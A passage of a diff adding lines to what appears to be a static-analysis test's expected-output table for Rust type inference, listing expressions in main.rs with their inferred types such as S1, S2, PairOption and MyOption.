| id(...) | | file://:0:0:0:0 | & | +| main.rs:841:26:841:31 | id(...) | &T | main.rs:812:5:813:14 | S1 | +| main.rs:841:29:841:30 | &x | | file://:0:0:0:0 | & | +| main.rs:841:29:841:30 | &x | &T | main.rs:812:5:813:14 | S1 | +| main.rs:841:30:841:30 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:843:13:843:13 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:843:17:843:18 | S1 | | main.rs:812:5:813:14 | S1 | +| main.rs:844:26:844:37 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:844:26:844:37 | id::<...>(...) | &T | main.rs:812:5:813:14 | S1 | +| main.rs:844:35:844:36 | &x | | file://:0:0:0:0 | & | +| main.rs:844:35:844:36 | &x | &T | main.rs:812:5:813:14 | S1 | +| main.rs:844:36:844:36 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:846:13:846:13 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:846:17:846:18 | S1 | | main.rs:812:5:813:14 | S1 | +| main.rs:847:26:847:44 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:847:26:847:44 | id::<...>(...) | &T | main.rs:812:5:813:14 | S1 | +| main.rs:847:42:847:43 | &x | | file://:0:0:0:0 | & | +| main.rs:847:42:847:43 | &x | &T | main.rs:812:5:813:14 | S1 | +| main.rs:847:43:847:43 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:849:13:849:13 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:849:17:849:18 | S1 | | main.rs:812:5:813:14 | S1 | +| main.rs:850:9:850:25 | into::<...>(...) | | main.rs:815:5:816:14 | S2 | +| main.rs:850:24:850:24 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:852:13:852:13 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:852:17:852:18 | S1 | | main.rs:812:5:813:14 | S1 | +| main.rs:853:13:853:13 | y | | main.rs:815:5:816:14 | S2 | +| main.rs:853:21:853:27 | into(...) | | main.rs:815:5:816:14 | S2 | +| main.rs:853:26:853:26 | x | | main.rs:812:5:813:14 | S1 | +| main.rs:867:22:867:25 | SelfParam | | main.rs:858:5:864:5 | PairOption | +| main.rs:867:22:867:25 | SelfParam | Fst | main.rs:866:10:866:12 | Fst | +| main.rs:867:22:867:25 | SelfParam | Snd | main.rs:866:15:866:17 | Snd | +| main.rs:867:35:874:9 | { ... } | | main.rs:866:15:866:17 | Snd | +| main.rs:868:13:873:13 | match self { ... } | | main.rs:866:15:866:17 | Snd | +| main.rs:868:19:868:22 | self | | main.rs:858:5:864:5 | PairOption | +| main.rs:868:19:868:22 | self | Fst | main.rs:866:10:866:12 | Fst | +| main.rs:868:19:868:22 | self | Snd | main.rs:866:15:866:17 | Snd | +| main.rs:869:43:869:82 | MacroExpr | | main.rs:866:15:866:17 | Snd | +| main.rs:870:43:870:81 | MacroExpr | | main.rs:866:15:866:17 | Snd | +| main.rs:871:37:871:39 | snd | | main.rs:866:15:866:17 | Snd | +| main.rs:871:45:871:47 | snd | | main.rs:866:15:866:17 | Snd | +| main.rs:872:41:872:43 | snd | | main.rs:866:15:866:17 | Snd | +| main.rs:872:49:872:51 | snd | | main.rs:866:15:866:17 | Snd | +| main.rs:898:10:898:10 | t | | main.rs:858:5:864:5 | PairOption | +| main.rs:898:10:898:10 | t | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:898:10:898:10 | t | Snd | main.rs:858:5:864:5 | PairOption | +| main.rs:898:10:898:10 | t | Snd.Fst | main.rs:880:5:881:14 | S2 | +| main.rs:898:10:898:10 | t | Snd.Snd | main.rs:883:5:884:14 | S3 | +| main.rs:899:13:899:13 | x | | main.rs:883:5:884:14 | S3 | +| main.rs:899:17:899:17 | t | | main.rs:858:5:864:5 | PairOption | +| main.rs:899:17:899:17 | t | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:899:17:899:17 | t | Snd | main.rs:858:5:864:5 | PairOption | +| main.rs:899:17:899:17 | t | Snd.Fst | main.rs:880:5:881:14 | S2 | +| main.rs:899:17:899:17 | t | Snd.Snd | main.rs:883:5:884:14 | S3 | +| main.rs:899:17:899:29 | t.unwrapSnd() | | main.rs:858:5:864:5 | PairOption | +| main.rs:899:17:899:29 | t.unwrapSnd() | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:899:17:899:29 | t.unwrapSnd() | Snd | main.rs:883:5:884:14 | S3 | +| main.rs:899:17:899:41 | ... .unwrapSnd() | | main.rs:883:5:884:14 | S3 | +| main.rs:900:26:900:26 | x | | main.rs:883:5:884:14 | S3 | +| main.rs:905:13:905:14 | p1 | | main.rs:858:5:864:5 | PairOption | +| main.rs:905:13:905:14 | p1 | Fst | main.rs:877:5:878:14 | S1 | +| main.rs:905:13:905:14 | p1 | Snd | main.rs:880:5:881:14 | S2 | +| main.rs:905:26:905:53 | ...::PairBoth(...) | | main.rs:858:5:864:5 | PairOption | +| main.rs:905:26:905:53 | ...::PairBoth(...) | Fst | main.rs:877:5:878:14 | S1 | +| main.rs:905:26:905:53 | ...::PairBoth(...) | Snd | main.rs:880:5:881:14 | S2 | +| main.rs:905:47:905:48 | S1 | | main.rs:877:5:878:14 | S1 | +| main.rs:905:51:905:52 | S2 | | main.rs:880:5:881:14 | S2 | +| main.rs:906:26:906:27 | p1 | | main.rs:858:5:864:5 | PairOption | +| main.rs:906:26:906:27 | p1 | Fst | main.rs:877:5:878:14 | S1 | +| main.rs:906:26:906:27 | p1 | Snd | main.rs:880:5:881:14 | S2 | +| main.rs:909:13:909:14 | p2 | | main.rs:858:5:864:5 | PairOption | +| main.rs:909:13:909:14 | p2 | Fst | main.rs:877:5:878:14 | S1 | +| main.rs:909:13:909:14 | p2 | Snd | main.rs:880:5:881:14 | S2 | +| main.rs:909:26:909:47 | ...::PairNone(...) | | main.rs:858:5:864:5 | PairOption | +| main.rs:909:26:909:47 | ...::PairNone(...) | Fst | main.rs:877:5:878:14 | S1 | +| main.rs:909:26:909:47 | ...::PairNone(...) | Snd | main.rs:880:5:881:14 | S2 | +| main.rs:910:26:910:27 | p2 | | main.rs:858:5:864:5 | PairOption | +| main.rs:910:26:910:27 | p2 | Fst | main.rs:877:5:878:14 | S1 | +| main.rs:910:26:910:27 | p2 | Snd | main.rs:880:5:881:14 | S2 | +| main.rs:913:13:913:14 | p3 | | main.rs:858:5:864:5 | PairOption | +| main.rs:913:13:913:14 | p3 | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:913:13:913:14 | p3 | Snd | main.rs:883:5:884:14 | S3 | +| main.rs:913:34:913:56 | ...::PairSnd(...) | | main.rs:858:5:864:5 | PairOption | +| main.rs:913:34:913:56 | ...::PairSnd(...) | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:913:34:913:56 | ...::PairSnd(...) | Snd | main.rs:883:5:884:14 | S3 | +| main.rs:913:54:913:55 | S3 | | main.rs:883:5:884:14 | S3 | +| main.rs:914:26:914:27 | p3 | | main.rs:858:5:864:5 | PairOption | +| main.rs:914:26:914:27 | p3 | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:914:26:914:27 | p3 | Snd | main.rs:883:5:884:14 | S3 | +| main.rs:917:13:917:14 | p3 | | main.rs:858:5:864:5 | PairOption | +| main.rs:917:13:917:14 | p3 | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:917:13:917:14 | p3 | Snd | main.rs:883:5:884:14 | S3 | +| main.rs:917:35:917:56 | ...::PairNone(...) | | main.rs:858:5:864:5 | PairOption | +| main.rs:917:35:917:56 | ...::PairNone(...) | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:917:35:917:56 | ...::PairNone(...) | Snd | main.rs:883:5:884:14 | S3 | +| main.rs:918:26:918:27 | p3 | | main.rs:858:5:864:5 | PairOption | +| main.rs:918:26:918:27 | p3 | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:918:26:918:27 | p3 | Snd | main.rs:883:5:884:14 | S3 | +| main.rs:920:11:920:54 | ...::PairSnd(...) | | main.rs:858:5:864:5 | PairOption | +| main.rs:920:11:920:54 | ...::PairSnd(...) | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:920:11:920:54 | ...::PairSnd(...) | Snd | main.rs:858:5:864:5 | PairOption | +| main.rs:920:11:920:54 | ...::PairSnd(...) | Snd.Fst | main.rs:880:5:881:14 | S2 | +| main.rs:920:11:920:54 | ...::PairSnd(...) | Snd.Snd | main.rs:883:5:884:14 | S3 | +| main.rs:920:31:920:53 | ...::PairSnd(...) | | main.rs:858:5:864:5 | PairOption | +| main.rs:920:31:920:53 | ...::PairSnd(...) | Fst | main.rs:880:5:881:14 | S2 | +| main.rs:920:31:920:53 | ...::PairSnd(...) | Snd | main.rs:883:5:884:14 | S3 | +| main.rs:920:51:920:52 | S3 | | main.rs:883:5:884:14 | S3 | +| main.rs:933:16:933:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:933:16:933:24 | SelfParam | &T | main.rs:931:5:938:5 | Self [trait MyTrait] | +| main.rs:933:27:933:31 | value | | main.rs:931:19:931:19 | S | +| main.rs:935:21:935:29 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:935:21:935:29 | SelfParam | &T | main.rs:931:5:938:5 | Self [trait MyTrait] | +| main.rs:935:32:935:36 | value | | main.rs:931:19:931:19 | S | +| main.rs:936:13:936:16 | self | | file://:0:0:0:0 | & | +| main.rs:936:13:936:16 | self | &T | main.rs:931:5:938:5 | Self [trait MyTrait] | +| main.rs:936:22:936:26 | value | | main.rs:931:19:931:19 | S | +| main.rs:942:16:942:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:942:16:942:24 | SelfParam | &T | main.rs:925:5:929:5 | MyOption | +| main.rs:942:16:942:24 | SelfParam | &T.T | main.rs:940:10:940:10 | T | +| main.rs:942:27:942:31 | value | | main.rs:940:10:940:10 | T | +| main.rs:946:26:948:9 | { ... } | | main.rs:925:5:929:5 | MyOption | +| main.rs:946:26:948:9 | { ... } | T | main.rs:945:10:945:10 | T | +| main.rs:947:13:947:30 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:947:13:947:30 | ...::MyNone(...) | T | main.rs:945:10:945:10 | T | +| main.rs:952:20:952:23 | SelfParam | | main.rs:925:5:929:5 | MyOption | +| main.rs:952:20:952:23 | SelfParam | T | main.rs:925:5:929:5 | MyOption | +| main.rs:952:20:952:23 | SelfParam | T.T | main.rs:951:10:951:10 | T | +| main.rs:952:41:957:9 | { ... } | | main.rs:925:5:929:5 | MyOption | +| main.rs:952:41:957:9 | { ... } | T | main.rs:951:10:951:10 | T | +| main.rs:953:13:956:13 | match self { ... } | | main.rs:925:5:929:5 | MyOption | +| main.rs:953:13:956:13 | match self { ... } | T | main.rs:951:10:951:10 | T | +| main.rs:953:19:953:22 | self | | main.rs:925:5:929:5 | MyOption | +| main.rs:953:19:953:22 | self | T | main.rs:925:5:929:5 | MyOption | +| main.rs:953:19:953:22 | self | T.T | main.rs:951:10:951:10 | T | +| main.rs:954:39:954:56 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:954:39:954:56 | ...::MyNone(...) | T | main.rs:951:10:951:10 | T | +| main.rs:955:34:955:34 | x | | main.rs:925:5:929:5 | MyOption | +| main.rs:955:34:955:34 | x | T | main.rs:951:10:951:10 | T | +| main.rs:955:40:955:40 | x | | main.rs:925:5:929:5 | MyOption | +| main.rs:955:40:955:40 | x | T | main.rs:951:10:951:10 | T | +| main.rs:964:13:964:14 | x1 | | main.rs:925:5:929:5 | MyOption | +| main.rs:964:18:964:37 | ...::new(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:965:26:965:27 | x1 | | main.rs:925:5:929:5 | MyOption | +| main.rs:967:13:967:18 | mut x2 | | main.rs:925:5:929:5 | MyOption | +| main.rs:967:13:967:18 | mut x2 | T | main.rs:960:5:961:13 | S | +| main.rs:967:22:967:36 | ...::new(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:967:22:967:36 | ...::new(...) | T | main.rs:960:5:961:13 | S | +| main.rs:968:9:968:10 | x2 | | main.rs:925:5:929:5 | MyOption | +| main.rs:968:9:968:10 | x2 | T | main.rs:960:5:961:13 | S | +| main.rs:968:16:968:16 | S | | main.rs:960:5:961:13 | S | +| main.rs:969:26:969:27 | x2 | | main.rs:925:5:929:5 | MyOption | +| main.rs:969:26:969:27 | x2 | T | main.rs:960:5:961:13 | S | +| main.rs:971:13:971:18 | mut x3 | | main.rs:925:5:929:5 | MyOption | +| main.rs:971:22:971:36 | ...::new(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:972:9:972:10 | x3 | | main.rs:925:5:929:5 | MyOption | +| main.rs:972:21:972:21 | S | | main.rs:960:5:961:13 | S | +| main.rs:973:26:973:27 | x3 | | main.rs:925:5:929:5 | MyOption | +| main.rs:975:13:975:18 | mut x4 | | main.rs:925:5:929:5 | MyOption | +| main.rs:975:13:975:18 | mut x4 | T | main.rs:960:5:961:13 | S | +| main.rs:975:22:975:36 | ...::new(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:975:22:975:36 | ...::new(...) | T | main.rs:960:5:961:13 | S | +| main.rs:976:23:976:29 | &mut x4 | | file://:0:0:0:0 | & | +| main.rs:976:23:976:29 | &mut x4 | &T | main.rs:925:5:929:5 | MyOption | +| main.rs:976:23:976:29 | &mut x4 | &T.T | main.rs:960:5:961:13 | S | +| main.rs:976:28:976:29 | x4 | | main.rs:925:5:929:5 | MyOption | +| main.rs:976:28:976:29 | x4 | T | main.rs:960:5:961:13 | S | +| main.rs:976:32:976:32 | S | | main.rs:960:5:961:13 | S | +| main.rs:977:26:977:27 | x4 | | main.rs:925:5:929:5 | MyOption | +| main.rs:977:26:977:27 | x4 | T | main.rs:960:5:961:13 | S | +| main.rs:979:13:979:14 | x5 | | main.rs:925:5:929:5 | MyOption | +| main.rs:979:13:979:14 | x5 | T | main.rs:925:5:929:5 | MyOption | +| main.rs:979:13:979:14 | x5 | T.T | main.rs:960:5:961:13 | S | +| main.rs:979:18:979:58 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:979:18:979:58 | ...::MySome(...) | T | main.rs:925:5:929:5 | MyOption | +| main.rs:979:18:979:58 | ...::MySome(...) | T.T | main.rs:960:5:961:13 | S | +| main.rs:979:35:979:57 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:979:35:979:57 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | +| main.rs:980:26:980:27 | x5 | | main.rs:925:5:929:5 | MyOption | +| main.rs:980:26:980:27 | x5 | T | main.rs:925:5:929:5 | MyOption | +| main.rs:980:26:980:27 | x5 | T.T | main.rs:960:5:961:13 | S | +| main.rs:980:26:980:37 | x5.flatten() | | main.rs:925:5:929:5 | MyOption | +| main.rs:980:26:980:37 | x5.flatten() | T | main.rs:960:5:961:13 | S | +| main.rs:982:13:982:14 | x6 | | main.rs:925:5:929:5 | MyOption | +| main.rs:982:13:982:14 | x6 | T | main.rs:925:5:929:5 | MyOption | +| main.rs:982:13:982:14 | x6 | T.T | main.rs:960:5:961:13 | S | +| main.rs:982:18:982:58 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:982:18:982:58 | ...::MySome(...) | T | main.rs:925:5:929:5 | MyOption | +| main.rs:982:18:982:58 | ...::MySome(...) | T.T | main.rs:960:5:961:13 | S | +| main.rs:982:35:982:57 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:982:35:982:57 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | +| main.rs:983:26:983:61 | ...::flatten(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:983:26:983:61 | ...::flatten(...) | T | main.rs:960:5:961:13 | S | +| main.rs:983:59:983:60 | x6 | | main.rs:925:5:929:5 | MyOption | +| main.rs:983:59:983:60 | x6 | T | main.rs:925:5:929:5 | MyOption | +| main.rs:983:59:983:60 | x6 | T.T | main.rs:960:5:961:13 | S | +| main.rs:985:13:985:19 | from_if | | main.rs:925:5:929:5 | MyOption | +| main.rs:985:13:985:19 | from_if | T | main.rs:960:5:961:13 | S | +| main.rs:985:23:989:9 | if ... {...} else {...} | | main.rs:925:5:929:5 | MyOption | +| main.rs:985:23:989:9 | if ... {...} else {...} | T | main.rs:960:5:961:13 | S | +| main.rs:985:36:987:9 | { ... } | | main.rs:925:5:929:5 | MyOption | +| main.rs:985:36:987:9 | { ... } | T | main.rs:960:5:961:13 | S | +| main.rs:986:13:986:30 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:986:13:986:30 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | +| main.rs:987:16:989:9 | { ... } | | main.rs:925:5:929:5 | MyOption | +| main.rs:987:16:989:9 | { ... } | T | main.rs:960:5:961:13 | S | +| main.rs:988:13:988:31 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:988:13:988:31 | ...::MySome(...) | T | main.rs:960:5:961:13 | S | +| main.rs:988:30:988:30 | S | | main.rs:960:5:961:13 | S | +| main.rs:990:26:990:32 | from_if | | main.rs:925:5:929:5 | MyOption | +| main.rs:990:26:990:32 | from_if | T | main.rs:960:5:961:13 | S | +| main.rs:992:13:992:22 | from_match | | main.rs:925:5:929:5 | MyOption | +| main.rs:992:13:992:22 | from_match | T | main.rs:960:5:961:13 | S | +| main.rs:992:26:995:9 | match ... { ... } | | main.rs:925:5:929:5 | MyOption | +| main.rs:992:26:995:9 | match ... { ... } | T | main.rs:960:5:961:13 | S | +| main.rs:993:21:993:38 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:993:21:993:38 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | +| main.rs:994:22:994:40 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:994:22:994:40 | ...::MySome(...) | T | main.rs:960:5:961:13 | S | +| main.rs:994:39:994:39 | S | | main.rs:960:5:961:13 | S | +| main.rs:996:26:996:35 | from_match | | main.rs:925:5:929:5 | MyOption | +| main.rs:996:26:996:35 | from_match | T | main.rs:960:5:961:13 | S | +| main.rs:998:13:998:21 | from_loop | | main.rs:925:5:929:5 | MyOption | +| main.rs:998:13:998:21 | from_loop | T | main.rs:960:5:961:13 | S | +| main.rs:998:25:1003:9 | loop { ... } | | main.rs:925:5:929:5 | MyOption | +| main.rs:998:25:1003:9 | loop { ... } | T | main.rs:960:5:961:13 | S | +| main.rs:1000:23:1000:40 | ...::MyNone(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:1000:23:1000:40 | ...::MyNone(...) | T | main.rs:960:5:961:13 | S | +| main.rs:1002:19:1002:37 | ...::MySome(...) | | main.rs:925:5:929:5 | MyOption | +| main.rs:1002:19:1002:37 | ...::MySome(...) | T | main.rs:960:5:961:13 | S | +| main.rs:1002:36:1002:36 | S | | main.rs:960:5:961:13 | S | +| main.rs:1004:26:1004:34 | from_loop | | main.rs:925:5:929:5 | MyOption | +| main.rs:1004:26:1004:34 | from_loop | T | main.rs:960:5:961:13 | S | +| main.rs:1017:15:1017:18 | SelfParam | | main.rs:1010:5:1011:19 | S | +| main.rs:1017:15:1017:18 | SelfParam | T | main.rs:1016:10:1016:10 | T | +| main.rs:1017:26:1019:9 | { ... } | | main.rs:1016:10:1016:10 | T | +| main.rs:1018:13:1018:16 | self | | main.rs:1010:5:1011:19 | S | +| main.rs:1018:13:1018:16 | self | T | main.rs:1016:10:1016:10 | T | +| main.rs:1018:13:1018:18 | self.0 | | main.rs:1016:10:1016:10 | T | +| main.rs:1021:15:1021:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1021:15:1021:19 | SelfParam | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1021:15:1021:19 | SelfParam | &T.T | main.rs:1016:10:1016:10 | T | +| main.rs:1021:28:1023:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1021:28:1023:9 | { ... } | &T | main.rs:1016:10:1016:10 | T | +| main.rs:1022:13:1022:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1022:13:1022:19 | &... | &T | main.rs:1016:10:1016:10 | T | +| main.rs:1022:14:1022:17 | self | | file://:0:0:0:0 | & | +| main.rs:1022:14:1022:17 | self | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1022:14:1022:17 | self | &T.T | main.rs:1016:10:1016:10 | T | +| main.rs:1022:14:1022:19 | self.0 | | main.rs:1016:10:1016:10 | T | +| main.rs:1025:15:1025:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1025:15:1025:25 | SelfParam | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1025:15:1025:25 | SelfParam | &T.T | main.rs:1016:10:1016:10 | T | +| main.rs:1025:34:1027:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1025:34:1027:9 | { ... } | &T | main.rs:1016:10:1016:10 | T | +| main.rs:1026:13:1026:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1026:13:1026:19 | &... | &T | main.rs:1016:10:1016:10 | T | +| main.rs:1026:14:1026:17 | self | | file://:0:0:0:0 | & | +| main.rs:1026:14:1026:17 | self | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1026:14:1026:17 | self | &T.T | main.rs:1016:10:1016:10 | T | +| main.rs:1026:14:1026:19 | self.0 | | main.rs:1016:10:1016:10 | T | +| main.rs:1031:13:1031:14 | x1 | | main.rs:1010:5:1011:19 | S | +| main.rs:1031:13:1031:14 | x1 | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1031:18:1031:22 | S(...) | | main.rs:1010:5:1011:19 | S | +| main.rs:1031:18:1031:22 | S(...) | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1031:20:1031:21 | S2 | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1032:26:1032:27 | x1 | | main.rs:1010:5:1011:19 | S | +| main.rs:1032:26:1032:27 | x1 | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1032:26:1032:32 | x1.m1() | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1034:13:1034:14 | x2 | | main.rs:1010:5:1011:19 | S | +| main.rs:1034:13:1034:14 | x2 | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1034:18:1034:22 | S(...) | | main.rs:1010:5:1011:19 | S | +| main.rs:1034:18:1034:22 | S(...) | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1034:20:1034:21 | S2 | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1036:26:1036:27 | x2 | | main.rs:1010:5:1011:19 | S | +| main.rs:1036:26:1036:27 | x2 | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1036:26:1036:32 | x2.m2() | | file://:0:0:0:0 | & | +| main.rs:1036:26:1036:32 | x2.m2() | &T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1037:26:1037:27 | x2 | | main.rs:1010:5:1011:19 | S | +| main.rs:1037:26:1037:27 | x2 | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1037:26:1037:32 | x2.m3() | | file://:0:0:0:0 | & | +| main.rs:1037:26:1037:32 | x2.m3() | &T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1039:13:1039:14 | x3 | | main.rs:1010:5:1011:19 | S | +| main.rs:1039:13:1039:14 | x3 | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1039:18:1039:22 | S(...) | | main.rs:1010:5:1011:19 | S | +| main.rs:1039:18:1039:22 | S(...) | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1039:20:1039:21 | S2 | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1041:26:1041:41 | ...::m2(...) | | file://:0:0:0:0 | & | +| main.rs:1041:26:1041:41 | ...::m2(...) | &T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1041:38:1041:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1041:38:1041:40 | &x3 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1041:38:1041:40 | &x3 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1041:39:1041:40 | x3 | | main.rs:1010:5:1011:19 | S | +| main.rs:1041:39:1041:40 | x3 | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1042:26:1042:41 | ...::m3(...) | | file://:0:0:0:0 | & | +| main.rs:1042:26:1042:41 | ...::m3(...) | &T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1042:38:1042:40 | &x3 | | file://:0:0:0:0 | & | +| main.rs:1042:38:1042:40 | &x3 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1042:38:1042:40 | &x3 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1042:39:1042:40 | x3 | | main.rs:1010:5:1011:19 | S | +| main.rs:1042:39:1042:40 | x3 | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1044:13:1044:14 | x4 | | file://:0:0:0:0 | & | +| main.rs:1044:13:1044:14 | x4 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1044:13:1044:14 | x4 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1044:18:1044:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1044:18:1044:23 | &... | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1044:18:1044:23 | &... | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1044:19:1044:23 | S(...) | | main.rs:1010:5:1011:19 | S | +| main.rs:1044:19:1044:23 | S(...) | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1044:21:1044:22 | S2 | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1046:26:1046:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1046:26:1046:27 | x4 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1046:26:1046:27 | x4 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1046:26:1046:32 | x4.m2() | | file://:0:0:0:0 | & | +| main.rs:1046:26:1046:32 | x4.m2() | &T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1047:26:1047:27 | x4 | | file://:0:0:0:0 | & | +| main.rs:1047:26:1047:27 | x4 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1047:26:1047:27 | x4 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1047:26:1047:32 | x4.m3() | | file://:0:0:0:0 | & | +| main.rs:1047:26:1047:32 | x4.m3() | &T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1049:13:1049:14 | x5 | | file://:0:0:0:0 | & | +| main.rs:1049:13:1049:14 | x5 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1049:13:1049:14 | x5 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1049:18:1049:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1049:18:1049:23 | &... | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1049:18:1049:23 | &... | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1049:19:1049:23 | S(...) | | main.rs:1010:5:1011:19 | S | +| main.rs:1049:19:1049:23 | S(...) | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1049:21:1049:22 | S2 | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1051:26:1051:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1051:26:1051:27 | x5 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1051:26:1051:27 | x5 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1051:26:1051:32 | x5.m1() | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1052:26:1052:27 | x5 | | file://:0:0:0:0 | & | +| main.rs:1052:26:1052:27 | x5 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1052:26:1052:27 | x5 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1052:26:1052:29 | x5.0 | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1054:13:1054:14 | x6 | | file://:0:0:0:0 | & | +| main.rs:1054:13:1054:14 | x6 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1054:13:1054:14 | x6 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1054:18:1054:23 | &... | | file://:0:0:0:0 | & | +| main.rs:1054:18:1054:23 | &... | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1054:18:1054:23 | &... | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1054:19:1054:23 | S(...) | | main.rs:1010:5:1011:19 | S | +| main.rs:1054:19:1054:23 | S(...) | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1054:21:1054:22 | S2 | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1056:26:1056:30 | (...) | | main.rs:1010:5:1011:19 | S | +| main.rs:1056:26:1056:30 | (...) | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1056:26:1056:35 | ... .m1() | | main.rs:1013:5:1014:14 | S2 | +| main.rs:1056:27:1056:29 | * ... | | main.rs:1010:5:1011:19 | S | +| main.rs:1056:27:1056:29 | * ... | T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1056:28:1056:29 | x6 | | file://:0:0:0:0 | & | +| main.rs:1056:28:1056:29 | x6 | &T | main.rs:1010:5:1011:19 | S | +| main.rs:1056:28:1056:29 | x6 | &T.T | main.rs:1013:5:1014:14 | S2 | +| main.rs:1063:16:1063:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1063:16:1063:20 | SelfParam | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | +| main.rs:1066:16:1066:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1066:16:1066:20 | SelfParam | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | +| main.rs:1066:32:1068:9 